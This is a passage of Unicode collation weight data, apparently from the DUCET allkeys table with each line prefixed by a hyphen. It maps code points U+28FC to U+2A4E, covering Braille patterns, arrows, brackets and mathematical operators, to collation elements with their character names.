-28FC  ; [*0E74.0020.0002] # BRAILLE PATTERN DOTS-345678
-28FD  ; [*0E75.0020.0002] # BRAILLE PATTERN DOTS-1345678
-28FE  ; [*0E76.0020.0002] # BRAILLE PATTERN DOTS-2345678
-28FF  ; [*0E77.0020.0002] # BRAILLE PATTERN DOTS-12345678
-2900  ; [*0AC5.0020.0002] # RIGHTWARDS TWO-HEADED ARROW WITH VERTICAL STROKE
-2901  ; [*0AC6.0020.0002] # RIGHTWARDS TWO-HEADED ARROW WITH DOUBLE VERTICAL STROKE
-2902  ; [*0AC7.0020.0002] # LEFTWARDS DOUBLE ARROW WITH VERTICAL STROKE
-2903  ; [*0AC8.0020.0002] # RIGHTWARDS DOUBLE ARROW WITH VERTICAL STROKE
-2904  ; [*0AC9.0020.0002] # LEFT RIGHT DOUBLE ARROW WITH VERTICAL STROKE
-2905  ; [*0ACA.0020.0002] # RIGHTWARDS TWO-HEADED ARROW FROM BAR
-2906  ; [*0ACB.0020.0002] # LEFTWARDS DOUBLE ARROW FROM BAR
-2907  ; [*0ACC.0020.0002] # RIGHTWARDS DOUBLE ARROW FROM BAR
-2908  ; [*0ACD.0020.0002] # DOWNWARDS ARROW WITH HORIZONTAL STROKE
-2909  ; [*0ACE.0020.0002] # UPWARDS ARROW WITH HORIZONTAL STROKE
-290A  ; [*0ACF.0020.0002] # UPWARDS TRIPLE ARROW
-290B  ; [*0AD0.0020.0002] # DOWNWARDS TRIPLE ARROW
-290C  ; [*0AD1.0020.0002] # LEFTWARDS DOUBLE DASH ARROW
-290D  ; [*0AD2.0020.0002] # RIGHTWARDS DOUBLE DASH ARROW
-290E  ; [*0AD3.0020.0002] # LEFTWARDS TRIPLE DASH ARROW
-290F  ; [*0AD4.0020.0002] # RIGHTWARDS TRIPLE DASH ARROW
-2910  ; [*0AD5.0020.0002] # RIGHTWARDS TWO-HEADED TRIPLE DASH ARROW
-2911  ; [*0AD6.0020.0002] # RIGHTWARDS ARROW WITH DOTTED STEM
-2912  ; [*0AD7.0020.0002] # UPWARDS ARROW TO BAR
-2913  ; [*0AD8.0020.0002] # DOWNWARDS ARROW TO BAR
-2914  ; [*0AD9.0020.0002] # RIGHTWARDS ARROW WITH TAIL WITH VERTICAL STROKE
-2915  ; [*0ADA.0020.0002] # RIGHTWARDS ARROW WITH TAIL WITH DOUBLE VERTICAL STROKE
-2916  ; [*0ADB.0020.0002] # RIGHTWARDS TWO-HEADED ARROW WITH TAIL
-2917  ; [*0ADC.0020.0002] # RIGHTWARDS TWO-HEADED ARROW WITH TAIL WITH VERTICAL STROKE
-2918  ; [*0ADD.0020.0002] # RIGHTWARDS TWO-HEADED ARROW WITH TAIL WITH DOUBLE VERTICAL STROKE
-2919  ; [*0ADE.0020.0002] # LEFTWARDS ARROW-TAIL
-291A  ; [*0ADF.0020.0002] # RIGHTWARDS ARROW-TAIL
-291B  ; [*0AE0.0020.0002] # LEFTWARDS DOUBLE ARROW-TAIL
-291C  ; [*0AE1.0020.0002] # RIGHTWARDS DOUBLE ARROW-TAIL
-291D  ; [*0AE2.0020.0002] # LEFTWARDS ARROW TO BLACK DIAMOND
-291E  ; [*0AE3.0020.0002] # RIGHTWARDS ARROW TO BLACK DIAMOND
-291F  ; [*0AE4.0020.0002] # LEFTWARDS ARROW FROM BAR TO BLACK DIAMOND
-2920  ; [*0AE5.0020.0002] # RIGHTWARDS ARROW FROM BAR TO BLACK DIAMOND
-2921  ; [*0AE6.0020.0002] # NORTH WEST AND SOUTH EAST ARROW
-2922  ; [*0AE7.0020.0002] # NORTH EAST AND SOUTH WEST ARROW
-2923  ; [*0AE8.0020.0002] # NORTH WEST ARROW WITH HOOK
-2924  ; [*0AE9.0020.0002] # NORTH EAST ARROW WITH HOOK
-2925  ; [*0AEA.0020.0002] # SOUTH EAST ARROW WITH HOOK
-2926  ; [*0AEB.0020.0002] # SOUTH WEST ARROW WITH HOOK
-2927  ; [*0AEC.0020.0002] # NORTH WEST ARROW AND NORTH EAST ARROW
-2928  ; [*0AED.0020.0002] # NORTH EAST ARROW AND SOUTH EAST ARROW
-2929  ; [*0AEE.0020.0002] # SOUTH EAST ARROW AND SOUTH WEST ARROW
-292A  ; [*0AEF.0020.0002] # SOUTH WEST ARROW AND NORTH WEST ARROW
-292B  ; [*0AF0.0020.0002] # RISING DIAGONAL CROSSING FALLING DIAGONAL
-292C  ; [*0AF1.0020.0002] # FALLING DIAGONAL CROSSING RISING DIAGONAL
-292D  ; [*0AF2.0020.0002] # SOUTH EAST ARROW CROSSING NORTH EAST ARROW
-292E  ; [*0AF3.0020.0002] # NORTH EAST ARROW CROSSING SOUTH EAST ARROW
-292F  ; [*0AF4.0020.0002] # FALLING DIAGONAL CROSSING NORTH EAST ARROW
-2930  ; [*0AF5.0020.0002] # RISING DIAGONAL CROSSING SOUTH EAST ARROW
-2931  ; [*0AF6.0020.0002] # NORTH EAST ARROW CROSSING NORTH WEST ARROW
-2932  ; [*0AF7.0020.0002] # NORTH WEST ARROW CROSSING NORTH EAST ARROW
-2933  ; [*0AF8.0020.0002] # WAVE ARROW POINTING DIRECTLY RIGHT
-2934  ; [*0AF9.0020.0002] # ARROW POINTING RIGHTWARDS THEN CURVING UPWARDS
-2935  ; [*0AFA.0020.0002] # ARROW POINTING RIGHTWARDS THEN CURVING DOWNWARDS
-2936  ; [*0AFB.0020.0002] # ARROW POINTING DOWNWARDS THEN CURVING LEFTWARDS
-2937  ; [*0AFC.0020.0002] # ARROW POINTING DOWNWARDS THEN CURVING RIGHTWARDS
-2938  ; [*0AFD.0020.0002] # RIGHT-SIDE ARC CLOCKWISE ARROW
-2939  ; [*0AFE.0020.0002] # LEFT-SIDE ARC ANTICLOCKWISE ARROW
-293A  ; [*0AFF.0020.0002] # TOP ARC ANTICLOCKWISE ARROW
-293B  ; [*0B00.0020.0002] # BOTTOM ARC ANTICLOCKWISE ARROW
-293C  ; [*0B01.0020.0002] # TOP ARC CLOCKWISE ARROW WITH MINUS
-293D  ; [*0B02.0020.0002] # TOP ARC ANTICLOCKWISE ARROW WITH PLUS
-293E  ; [*0B03.0020.0002] # LOWER RIGHT SEMICIRCULAR CLOCKWISE ARROW
-293F  ; [*0B04.0020.0002] # LOWER LEFT SEMICIRCULAR ANTICLOCKWISE ARROW
-2940  ; [*0B05.0020.0002] # ANTICLOCKWISE CLOSED CIRCLE ARROW
-2941  ; [*0B06.0020.0002] # CLOCKWISE CLOSED CIRCLE ARROW
-2942  ; [*0B07.0020.0002] # RIGHTWARDS ARROW ABOVE SHORT LEFTWARDS ARROW
-2943  ; [*0B08.0020.0002] # LEFTWARDS ARROW ABOVE SHORT RIGHTWARDS ARROW
-2944  ; [*0B09.0020.0002] # SHORT RIGHTWARDS ARROW ABOVE LEFTWARDS ARROW
-2945  ; [*0B0A.0020.0002] # RIGHTWARDS ARROW WITH PLUS BELOW
-2946  ; [*0B0B.0020.0002] # LEFTWARDS ARROW WITH PLUS BELOW
-2947  ; [*0B0C.0020.0002] # RIGHTWARDS ARROW THROUGH X
-2948  ; [*0B0D.0020.0002] # LEFT RIGHT ARROW THROUGH SMALL CIRCLE
-2949  ; [*0B0E.0020.0002] # UPWARDS TWO-HEADED ARROW FROM SMALL CIRCLE
-294A  ; [*0B0F.0020.0002] # LEFT BARB UP RIGHT BARB DOWN HARPOON
-294B  ; [*0B10.0020.0002] # LEFT BARB DOWN RIGHT BARB UP HARPOON
-294C  ; [*0B11.0020.0002] # UP BARB RIGHT DOWN BARB LEFT HARPOON
-294D  ; [*0B12.0020.0002] # UP BARB LEFT DOWN BARB RIGHT HARPOON
-294E  ; [*0B13.0020.0002] # LEFT BARB UP RIGHT BARB UP HARPOON
-294F  ; [*0B14.0020.0002] # UP BARB RIGHT DOWN BARB RIGHT HARPOON
-2950  ; [*0B15.0020.0002] # LEFT BARB DOWN RIGHT BARB DOWN HARPOON
-2951  ; [*0B16.0020.0002] # UP BARB LEFT DOWN BARB LEFT HARPOON
-2952  ; [*0B17.0020.0002] # LEFTWARDS HARPOON WITH BARB UP TO BAR
-2953  ; [*0B18.0020.0002] # RIGHTWARDS HARPOON WITH BARB UP TO BAR
-2954  ; [*0B19.0020.0002] # UPWARDS HARPOON WITH BARB RIGHT TO BAR
-2955  ; [*0B1A.0020.0002] # DOWNWARDS HARPOON WITH BARB RIGHT TO BAR
-2956  ; [*0B1B.0020.0002] # LEFTWARDS HARPOON WITH BARB DOWN TO BAR
-2957  ; [*0B1C.0020.0002] # RIGHTWARDS HARPOON WITH BARB DOWN TO BAR
-2958  ; [*0B1D.0020.0002] # UPWARDS HARPOON WITH BARB LEFT TO BAR
-2959  ; [*0B1E.0020.0002] # DOWNWARDS HARPOON WITH BARB LEFT TO BAR
-295A  ; [*0B1F.0020.0002] # LEFTWARDS HARPOON WITH BARB UP FROM BAR
-295B  ; [*0B20.0020.0002] # RIGHTWARDS HARPOON WITH BARB UP FROM BAR
-295C  ; [*0B21.0020.0002] # UPWARDS HARPOON WITH BARB RIGHT FROM BAR
-295D  ; [*0B22.0020.0002] # DOWNWARDS HARPOON WITH BARB RIGHT FROM BAR
-295E  ; [*0B23.0020.0002] # LEFTWARDS HARPOON WITH BARB DOWN FROM BAR
-295F  ; [*0B24.0020.0002] # RIGHTWARDS HARPOON WITH BARB DOWN FROM BAR
-2960  ; [*0B25.0020.0002] # UPWARDS HARPOON WITH BARB LEFT FROM BAR
-2961  ; [*0B26.0020.0002] # DOWNWARDS HARPOON WITH BARB LEFT FROM BAR
-2962  ; [*0B27.0020.0002] # LEFTWARDS HARPOON WITH BARB UP ABOVE LEFTWARDS HARPOON WITH BARB DOWN
-2963  ; [*0B28.0020.0002] # UPWARDS HARPOON WITH BARB LEFT BESIDE UPWARDS HARPOON WITH BARB RIGHT
-2964  ; [*0B29.0020.0002] # RIGHTWARDS HARPOON WITH BARB UP ABOVE RIGHTWARDS HARPOON WITH BARB DOWN
-2965  ; [*0B2A.0020.0002] # DOWNWARDS HARPOON WITH BARB LEFT BESIDE DOWNWARDS HARPOON WITH BARB RIGHT
-2966  ; [*0B2B.0020.0002] # LEFTWARDS HARPOON WITH BARB UP ABOVE RIGHTWARDS HARPOON WITH BARB UP
-2967  ; [*0B2C.0020.0002] # LEFTWARDS HARPOON WITH BARB DOWN ABOVE RIGHTWARDS HARPOON WITH BARB DOWN
-2968  ; [*0B2D.0020.0002] # RIGHTWARDS HARPOON WITH BARB UP ABOVE LEFTWARDS HARPOON WITH BARB UP
-2969  ; [*0B2E.0020.0002] # RIGHTWARDS HARPOON WITH BARB DOWN ABOVE LEFTWARDS HARPOON WITH BARB DOWN
-296A  ; [*0B2F.0020.0002] # LEFTWARDS HARPOON WITH BARB UP ABOVE LONG DASH
-296B  ; [*0B30.0020.0002] # LEFTWARDS HARPOON WITH BARB DOWN BELOW LONG DASH
-296C  ; [*0B31.0020.0002] # RIGHTWARDS HARPOON WITH BARB UP ABOVE LONG DASH
-296D  ; [*0B32.0020.0002] # RIGHTWARDS HARPOON WITH BARB DOWN BELOW LONG DASH
-296E  ; [*0B33.0020.0002] # UPWARDS HARPOON WITH BARB LEFT BESIDE DOWNWARDS HARPOON WITH BARB RIGHT
-296F  ; [*0B34.0020.0002] # DOWNWARDS HARPOON WITH BARB LEFT BESIDE UPWARDS HARPOON WITH BARB RIGHT
-2970  ; [*0B35.0020.0002] # RIGHT DOUBLE ARROW WITH ROUNDED HEAD
-2971  ; [*0B36.0020.0002] # EQUALS SIGN ABOVE RIGHTWARDS ARROW
-2972  ; [*0B37.0020.0002] # TILDE OPERATOR ABOVE RIGHTWARDS ARROW
-2973  ; [*0B38.0020.0002] # LEFTWARDS ARROW ABOVE TILDE OPERATOR
-2974  ; [*0B39.0020.0002] # RIGHTWARDS ARROW ABOVE TILDE OPERATOR
-2975  ; [*0B3A.0020.0002] # RIGHTWARDS ARROW ABOVE ALMOST EQUAL TO
-2976  ; [*0B3B.0020.0002] # LESS-THAN ABOVE LEFTWARDS ARROW
-2977  ; [*0B3C.0020.0002] # LEFTWARDS ARROW THROUGH LESS-THAN
-2978  ; [*0B3D.0020.0002] # GREATER-THAN ABOVE RIGHTWARDS ARROW
-2979  ; [*0B3E.0020.0002] # SUBSET ABOVE RIGHTWARDS ARROW
-297A  ; [*0B3F.0020.0002] # LEFTWARDS ARROW THROUGH SUBSET
-297B  ; [*0B40.0020.0002] # SUPERSET ABOVE LEFTWARDS ARROW
-297C  ; [*0B41.0020.0002] # LEFT FISH TAIL
-297D  ; [*0B42.0020.0002] # RIGHT FISH TAIL
-297E  ; [*0B43.0020.0002] # UP FISH TAIL
-297F  ; [*0B44.0020.0002] # DOWN FISH TAIL
-2980  ; [*0B45.0020.0002] # TRIPLE VERTICAL BAR DELIMITER
-2981  ; [*0B46.0020.0002] # Z NOTATION SPOT
-2982  ; [*0B47.0020.0002] # Z NOTATION TYPE COLON
-2983  ; [*0324.0020.0002] # LEFT WHITE CURLY BRACKET
-2984  ; [*0325.0020.0002] # RIGHT WHITE CURLY BRACKET
-2985  ; [*0326.0020.0002] # LEFT WHITE PARENTHESIS
-2986  ; [*0327.0020.0002] # RIGHT WHITE PARENTHESIS
-2987  ; [*0328.0020.0002] # Z NOTATION LEFT IMAGE BRACKET
-2988  ; [*0329.0020.0002] # Z NOTATION RIGHT IMAGE BRACKET
-2989  ; [*032A.0020.0002] # Z NOTATION LEFT BINDING BRACKET
-298A  ; [*032B.0020.0002] # Z NOTATION RIGHT BINDING BRACKET
-298B  ; [*032C.0020.0002] # LEFT SQUARE BRACKET WITH UNDERBAR
-298C  ; [*032D.0020.0002] # RIGHT SQUARE BRACKET WITH UNDERBAR
-298D  ; [*032E.0020.0002] # LEFT SQUARE BRACKET WITH TICK IN TOP CORNER
-298E  ; [*032F.0020.0002] # RIGHT SQUARE BRACKET WITH TICK IN BOTTOM CORNER
-298F  ; [*0330.0020.0002] # LEFT SQUARE BRACKET WITH TICK IN BOTTOM CORNER
-2990  ; [*0331.0020.0002] # RIGHT SQUARE BRACKET WITH TICK IN TOP CORNER
-2991  ; [*0332.0020.0002] # LEFT ANGLE BRACKET WITH DOT
-2992  ; [*0333.0020.0002] # RIGHT ANGLE BRACKET WITH DOT
-2993  ; [*0334.0020.0002] # LEFT ARC LESS-THAN BRACKET
-2994  ; [*0335.0020.0002] # RIGHT ARC GREATER-THAN BRACKET
-2995  ; [*0336.0020.0002] # DOUBLE LEFT ARC GREATER-THAN BRACKET
-2996  ; [*0337.0020.0002] # DOUBLE RIGHT ARC LESS-THAN BRACKET
-2997  ; [*0338.0020.0002] # LEFT BLACK TORTOISE SHELL BRACKET
-2998  ; [*0339.0020.0002] # RIGHT BLACK TORTOISE SHELL BRACKET
-2999  ; [*0B48.0020.0002] # DOTTED FENCE
-299A  ; [*0B49.0020.0002] # VERTICAL ZIGZAG LINE
-299B  ; [*0B4A.0020.0002] # MEASURED ANGLE OPENING LEFT
-299C  ; [*0B4B.0020.0002] # RIGHT ANGLE VARIANT WITH SQUARE
-299D  ; [*0B4C.0020.0002] # MEASURED RIGHT ANGLE WITH DOT
-299E  ; [*0B4D.0020.0002] # ANGLE WITH S INSIDE
-299F  ; [*0B4E.0020.0002] # ACUTE ANGLE
-29A0  ; [*0B4F.0020.0002] # SPHERICAL ANGLE OPENING LEFT
-29A1  ; [*0B50.0020.0002] # SPHERICAL ANGLE OPENING UP
-29A2  ; [*0B51.0020.0002] # TURNED ANGLE
-29A3  ; [*0B52.0020.0002] # REVERSED ANGLE
-29A4  ; [*0B53.0020.0002] # ANGLE WITH UNDERBAR
-29A5  ; [*0B54.0020.0002] # REVERSED ANGLE WITH UNDERBAR
-29A6  ; [*0B55.0020.0002] # OBLIQUE ANGLE OPENING UP
-29A7  ; [*0B56.0020.0002] # OBLIQUE ANGLE OPENING DOWN
-29A8  ; [*0B57.0020.0002] # MEASURED ANGLE WITH OPEN ARM ENDING IN ARROW POINTING UP AND RIGHT
-29A9  ; [*0B58.0020.0002] # MEASURED ANGLE WITH OPEN ARM ENDING IN ARROW POINTING UP AND LEFT
-29AA  ; [*0B59.0020.0002] # MEASURED ANGLE WITH OPEN ARM ENDING IN ARROW POINTING DOWN AND RIGHT
-29AB  ; [*0B5A.0020.0002] # MEASURED ANGLE WITH OPEN ARM ENDING IN ARROW POINTING DOWN AND LEFT
-29AC  ; [*0B5B.0020.0002] # MEASURED ANGLE WITH OPEN ARM ENDING IN ARROW POINTING RIGHT AND UP
-29AD  ; [*0B5C.0020.0002] # MEASURED ANGLE WITH OPEN ARM ENDING IN ARROW POINTING LEFT AND UP
-29AE  ; [*0B5D.0020.0002] # MEASURED ANGLE WITH OPEN ARM ENDING IN ARROW POINTING RIGHT AND DOWN
-29AF  ; [*0B5E.0020.0002] # MEASURED ANGLE WITH OPEN ARM ENDING IN ARROW POINTING LEFT AND DOWN
-29B0  ; [*0B5F.0020.0002] # REVERSED EMPTY SET
-29B1  ; [*0B60.0020.0002] # EMPTY SET WITH OVERBAR
-29B2  ; [*0B61.0020.0002] # EMPTY SET WITH SMALL CIRCLE ABOVE
-29B3  ; [*0B62.0020.0002] # EMPTY SET WITH RIGHT ARROW ABOVE
-29B4  ; [*0B63.0020.0002] # EMPTY SET WITH LEFT ARROW ABOVE
-29B5  ; [*0B64.0020.0002] # CIRCLE WITH HORIZONTAL BAR
-29B6  ; [*0B65.0020.0002] # CIRCLED VERTICAL BAR
-29B7  ; [*0B66.0020.0002] # CIRCLED PARALLEL
-29B8  ; [*0B67.0020.0002] # CIRCLED REVERSE SOLIDUS
-29B9  ; [*0B68.0020.0002] # CIRCLED PERPENDICULAR
-29BA  ; [*0B69.0020.0002] # CIRCLE DIVIDED BY HORIZONTAL BAR AND TOP HALF DIVIDED BY VERTICAL BAR
-29BB  ; [*0B6A.0020.0002] # CIRCLE WITH SUPERIMPOSED X
-29BC  ; [*0B6B.0020.0002] # CIRCLED ANTICLOCKWISE-ROTATED DIVISION SIGN
-29BD  ; [*0B6C.0020.0002] # UP ARROW THROUGH CIRCLE
-29BE  ; [*0B6D.0020.0002] # CIRCLED WHITE BULLET
-29BF  ; [*0B6E.0020.0002] # CIRCLED BULLET
-29C0  ; [*0B6F.0020.0002] # CIRCLED LESS-THAN
-29C1  ; [*0B70.0020.0002] # CIRCLED GREATER-THAN
-29C2  ; [*0B71.0020.0002] # CIRCLE WITH SMALL CIRCLE TO THE RIGHT
-29C3  ; [*0B72.0020.0002] # CIRCLE WITH TWO HORIZONTAL STROKES TO THE RIGHT
-29C4  ; [*0B73.0020.0002] # SQUARED RISING DIAGONAL SLASH
-29C5  ; [*0B74.0020.0002] # SQUARED FALLING DIAGONAL SLASH
-29C6  ; [*0B75.0020.0002] # SQUARED ASTERISK
-29C7  ; [*0B76.0020.0002] # SQUARED SMALL CIRCLE
-29C8  ; [*0B77.0020.0002] # SQUARED SQUARE
-29C9  ; [*0B78.0020.0002] # TWO JOINED SQUARES
-29CA  ; [*0B79.0020.0002] # TRIANGLE WITH DOT ABOVE
-29CB  ; [*0B7A.0020.0002] # TRIANGLE WITH UNDERBAR
-29CC  ; [*0B7B.0020.0002] # S IN TRIANGLE
-29CD  ; [*0B7C.0020.0002] # TRIANGLE WITH SERIFS AT BOTTOM
-29CE  ; [*0B7D.0020.0002] # RIGHT TRIANGLE ABOVE LEFT TRIANGLE
-29CF  ; [*0B7E.0020.0002] # LEFT TRIANGLE BESIDE VERTICAL BAR
-29D0  ; [*0B7F.0020.0002] # VERTICAL BAR BESIDE RIGHT TRIANGLE
-29D1  ; [*0B80.0020.0002] # BOWTIE WITH LEFT HALF BLACK
-29D2  ; [*0B81.0020.0002] # BOWTIE WITH RIGHT HALF BLACK
-29D3  ; [*0B82.0020.0002] # BLACK BOWTIE
-29D4  ; [*0B83.0020.0002] # TIMES WITH LEFT HALF BLACK
-29D5  ; [*0B84.0020.0002] # TIMES WITH RIGHT HALF BLACK
-29D6  ; [*0B85.0020.0002] # WHITE HOURGLASS
-29D7  ; [*0B86.0020.0002] # BLACK HOURGLASS
-29D8  ; [*037E.0020.0002] # LEFT WIGGLY FENCE
-29D9  ; [*037F.0020.0002] # RIGHT WIGGLY FENCE
-29DA  ; [*0380.0020.0002] # LEFT DOUBLE WIGGLY FENCE
-29DB  ; [*0381.0020.0002] # RIGHT DOUBLE WIGGLY FENCE
-29DC  ; [*0B87.0020.0002] # INCOMPLETE INFINITY
-29DD  ; [*0B88.0020.0002] # TIE OVER INFINITY
-29DE  ; [*0B89.0020.0002] # INFINITY NEGATED WITH VERTICAL BAR
-29DF  ; [*0B8A.0020.0002] # DOUBLE-ENDED MULTIMAP
-29E0  ; [*0B8B.0020.0002] # SQUARE WITH CONTOURED OUTLINE
-29E1  ; [*0B8C.0020.0002] # INCREASES AS
-29E2  ; [*0B8D.0020.0002] # SHUFFLE PRODUCT
-29E3  ; [*0B8E.0020.0002] # EQUALS SIGN AND SLANTED PARALLEL
-29E4  ; [*0B8F.0020.0002] # EQUALS SIGN AND SLANTED PARALLEL WITH TILDE ABOVE
-29E5  ; [*0B90.0020.0002] # IDENTICAL TO AND SLANTED PARALLEL
-29E6  ; [*0B91.0020.0002] # GLEICH STARK
-29E7  ; [*0B92.0020.0002] # THERMODYNAMIC
-29E8  ; [*0B93.0020.0002] # DOWN-POINTING TRIANGLE WITH LEFT HALF BLACK
-29E9  ; [*0B94.0020.0002] # DOWN-POINTING TRIANGLE WITH RIGHT HALF BLACK
-29EA  ; [*0B95.0020.0002] # BLACK DIAMOND WITH DOWN ARROW
-29EB  ; [*0B96.0020.0002] # BLACK LOZENGE
-29EC  ; [*0B97.0020.0002] # WHITE CIRCLE WITH DOWN ARROW
-29ED  ; [*0B98.0020.0002] # BLACK CIRCLE WITH DOWN ARROW
-29EE  ; [*0B99.0020.0002] # ERROR-BARRED WHITE SQUARE
-29EF  ; [*0B9A.0020.0002] # ERROR-BARRED BLACK SQUARE
-29F0  ; [*0B9B.0020.0002] # ERROR-BARRED WHITE DIAMOND
-29F1  ; [*0B9C.0020.0002] # ERROR-BARRED BLACK DIAMOND
-29F2  ; [*0B9D.0020.0002] # ERROR-BARRED WHITE CIRCLE
-29F3  ; [*0B9E.0020.0002] # ERROR-BARRED BLACK CIRCLE
-29F4  ; [*0B9F.0020.0002] # RULE-DELAYED
-29F5  ; [*0BA0.0020.0002] # REVERSE SOLIDUS OPERATOR
-29F6  ; [*0BA1.0020.0002] # SOLIDUS WITH OVERBAR
-29F7  ; [*0BA2.0020.0002] # REVERSE SOLIDUS WITH HORIZONTAL STROKE
-29F8  ; [*0BA3.0020.0002] # BIG SOLIDUS
-29F9  ; [*0BA4.0020.0002] # BIG REVERSE SOLIDUS
-29FA  ; [*0BA5.0020.0002] # DOUBLE PLUS
-29FB  ; [*0BA6.0020.0002] # TRIPLE PLUS
-29FC  ; [*0322.0020.0002] # LEFT-POINTING CURVED ANGLE BRACKET
-29FD  ; [*0323.0020.0002] # RIGHT-POINTING CURVED ANGLE BRACKET
-29FE  ; [*0BA7.0020.0002] # TINY
-29FF  ; [*0BA8.0020.0002] # MINY
-2A00  ; [*0BA9.0020.0002] # N-ARY CIRCLED DOT OPERATOR
-2A01  ; [*0BAA.0020.0002] # N-ARY CIRCLED PLUS OPERATOR
-2A02  ; [*0BAB.0020.0002] # N-ARY CIRCLED TIMES OPERATOR
-2A03  ; [*0BAC.0020.0002] # N-ARY UNION OPERATOR WITH DOT
-2A04  ; [*0BAD.0020.0002] # N-ARY UNION OPERATOR WITH PLUS
-2A05  ; [*0BAE.0020.0002] # N-ARY SQUARE INTERSECTION OPERATOR
-2A06  ; [*0BAF.0020.0002] # N-ARY SQUARE UNION OPERATOR
-2A07  ; [*0BB0.0020.0002] # TWO LOGICAL AND OPERATOR
-2A08  ; [*0BB1.0020.0002] # TWO LOGICAL OR OPERATOR
-2A09  ; [*0BB2.0020.0002] # N-ARY TIMES OPERATOR
-2A0A  ; [*0BB3.0020.0002] # MODULO TWO SUM
-2A0B  ; [*0BB4.0020.0002] # SUMMATION WITH INTEGRAL
-2A0C  ; [*061C.0020.0004][*061C.0020.0004][*061C.0020.0004][*061C.0020.0004] # QUADRUPLE INTEGRAL OPERATOR
-2A0D  ; [*0BB5.0020.0002] # FINITE PART INTEGRAL
-2A0E  ; [*0BB6.0020.0002] # INTEGRAL WITH DOUBLE STROKE
-2A0F  ; [*0BB7.0020.0002] # INTEGRAL AVERAGE WITH SLASH
-2A10  ; [*0BB8.0020.0002] # CIRCULATION FUNCTION
-2A11  ; [*0BB9.0020.0002] # ANTICLOCKWISE INTEGRATION
-2A12  ; [*0BBA.0020.0002] # LINE INTEGRATION WITH RECTANGULAR PATH AROUND POLE
-2A13  ; [*0BBB.0020.0002] # LINE INTEGRATION WITH SEMICIRCULAR PATH AROUND POLE
-2A14  ; [*0BBC.0020.0002] # LINE INTEGRATION NOT INCLUDING THE POLE
-2A15  ; [*0BBD.0020.0002] # INTEGRAL AROUND A POINT OPERATOR
-2A16  ; [*0BBE.0020.0002] # QUATERNION INTEGRAL OPERATOR
-2A17  ; [*0BBF.0020.0002] # INTEGRAL WITH LEFTWARDS ARROW WITH HOOK
-2A18  ; [*0BC0.0020.0002] # INTEGRAL WITH TIMES SIGN
-2A19  ; [*0BC1.0020.0002] # INTEGRAL WITH INTERSECTION
-2A1A  ; [*0BC2.0020.0002] # INTEGRAL WITH UNION
-2A1B  ; [*0BC3.0020.0002] # INTEGRAL WITH OVERBAR
-2A1C  ; [*0BC4.0020.0002] # INTEGRAL WITH UNDERBAR
-2A1D  ; [*0BC5.0020.0002] # JOIN
-2A1E  ; [*0BC6.0020.0002] # LARGE LEFT TRIANGLE OPERATOR
-2A1F  ; [*0BC7.0020.0002] # Z NOTATION SCHEMA COMPOSITION
-2A20  ; [*0BC8.0020.0002] # Z NOTATION SCHEMA PIPING
-2A21  ; [*0BC9.0020.0002] # Z NOTATION SCHEMA PROJECTION
-2A22  ; [*0BCA.0020.0002] # PLUS SIGN WITH SMALL CIRCLE ABOVE
-2A23  ; [*0BCB.0020.0002] # PLUS SIGN WITH CIRCUMFLEX ACCENT ABOVE
-2A24  ; [*0BCC.0020.0002] # PLUS SIGN WITH TILDE ABOVE
-2A25  ; [*0BCD.0020.0002] # PLUS SIGN WITH DOT BELOW
-2A26  ; [*0BCE.0020.0002] # PLUS SIGN WITH TILDE BELOW
-2A27  ; [*0BCF.0020.0002] # PLUS SIGN WITH SUBSCRIPT TWO
-2A28  ; [*0BD0.0020.0002] # PLUS SIGN WITH BLACK TRIANGLE
-2A29  ; [*0BD1.0020.0002] # MINUS SIGN WITH COMMA ABOVE
-2A2A  ; [*0BD2.0020.0002] # MINUS SIGN WITH DOT BELOW
-2A2B  ; [*0BD3.0020.0002] # MINUS SIGN WITH FALLING DOTS
-2A2C  ; [*0BD4.0020.0002] # MINUS SIGN WITH RISING DOTS
-2A2D  ; [*0BD5.0020.0002] # PLUS SIGN IN LEFT HALF CIRCLE
-2A2E  ; [*0BD6.0020.0002] # PLUS SIGN IN RIGHT HALF CIRCLE
-2A2F  ; [*0BD7.0020.0002] # VECTOR OR CROSS PRODUCT
-2A30  ; [*0BD8.0020.0002] # MULTIPLICATION SIGN WITH DOT ABOVE
-2A31  ; [*0BD9.0020.0002] # MULTIPLICATION SIGN WITH UNDERBAR
-2A32  ; [*0BDA.0020.0002] # SEMIDIRECT PRODUCT WITH BOTTOM CLOSED
-2A33  ; [*0BDB.0020.0002] # SMASH PRODUCT
-2A34  ; [*0BDC.0020.0002] # MULTIPLICATION SIGN IN LEFT HALF CIRCLE
-2A35  ; [*0BDD.0020.0002] # MULTIPLICATION SIGN IN RIGHT HALF CIRCLE
-2A36  ; [*0BDE.0020.0002] # CIRCLED MULTIPLICATION SIGN WITH CIRCUMFLEX ACCENT
-2A37  ; [*0BDF.0020.0002] # MULTIPLICATION SIGN IN DOUBLE CIRCLE
-2A38  ; [*0BE0.0020.0002] # CIRCLED DIVISION SIGN
-2A39  ; [*0BE1.0020.0002] # PLUS SIGN IN TRIANGLE
-2A3A  ; [*0BE2.0020.0002] # MINUS SIGN IN TRIANGLE
-2A3B  ; [*0BE3.0020.0002] # MULTIPLICATION SIGN IN TRIANGLE
-2A3C  ; [*0BE4.0020.0002] # INTERIOR PRODUCT
-2A3D  ; [*0BE5.0020.0002] # RIGHTHAND INTERIOR PRODUCT
-2A3E  ; [*0BE6.0020.0002] # Z NOTATION RELATIONAL COMPOSITION
-2A3F  ; [*0BE7.0020.0002] # AMALGAMATION OR COPRODUCT
-2A40  ; [*0BE8.0020.0002] # INTERSECTION WITH DOT
-2A41  ; [*0BE9.0020.0002] # UNION WITH MINUS SIGN
-2A42  ; [*0BEA.0020.0002] # UNION WITH OVERBAR
-2A43  ; [*0BEB.0020.0002] # INTERSECTION WITH OVERBAR
-2A44  ; [*0BEC.0020.0002] # INTERSECTION WITH LOGICAL AND
-2A45  ; [*0BED.0020.0002] # UNION WITH LOGICAL OR
-2A46  ; [*0BEE.0020.0002] # UNION ABOVE INTERSECTION
-2A47  ; [*0BEF.0020.0002] # INTERSECTION ABOVE UNION
-2A48  ; [*0BF0.0020.0002] # UNION ABOVE BAR ABOVE INTERSECTION
-2A49  ; [*0BF1.0020.0002] # INTERSECTION ABOVE BAR ABOVE UNION
-2A4A  ; [*0BF2.0020.0002] # UNION BESIDE AND JOINED WITH UNION
-2A4B  ; [*0BF3.0020.0002] # INTERSECTION BESIDE AND JOINED WITH INTERSECTION
-2A4C  ; [*0BF4.0020.0002] # CLOSED UNION WITH SERIFS
-2A4D  ; [*0BF5.0020.0002] # CLOSED INTERSECTION WITH SERIFS
-2A4E  ; [*0BF6.0020.0002] # DOUBLE SQUARE INTERSECTION
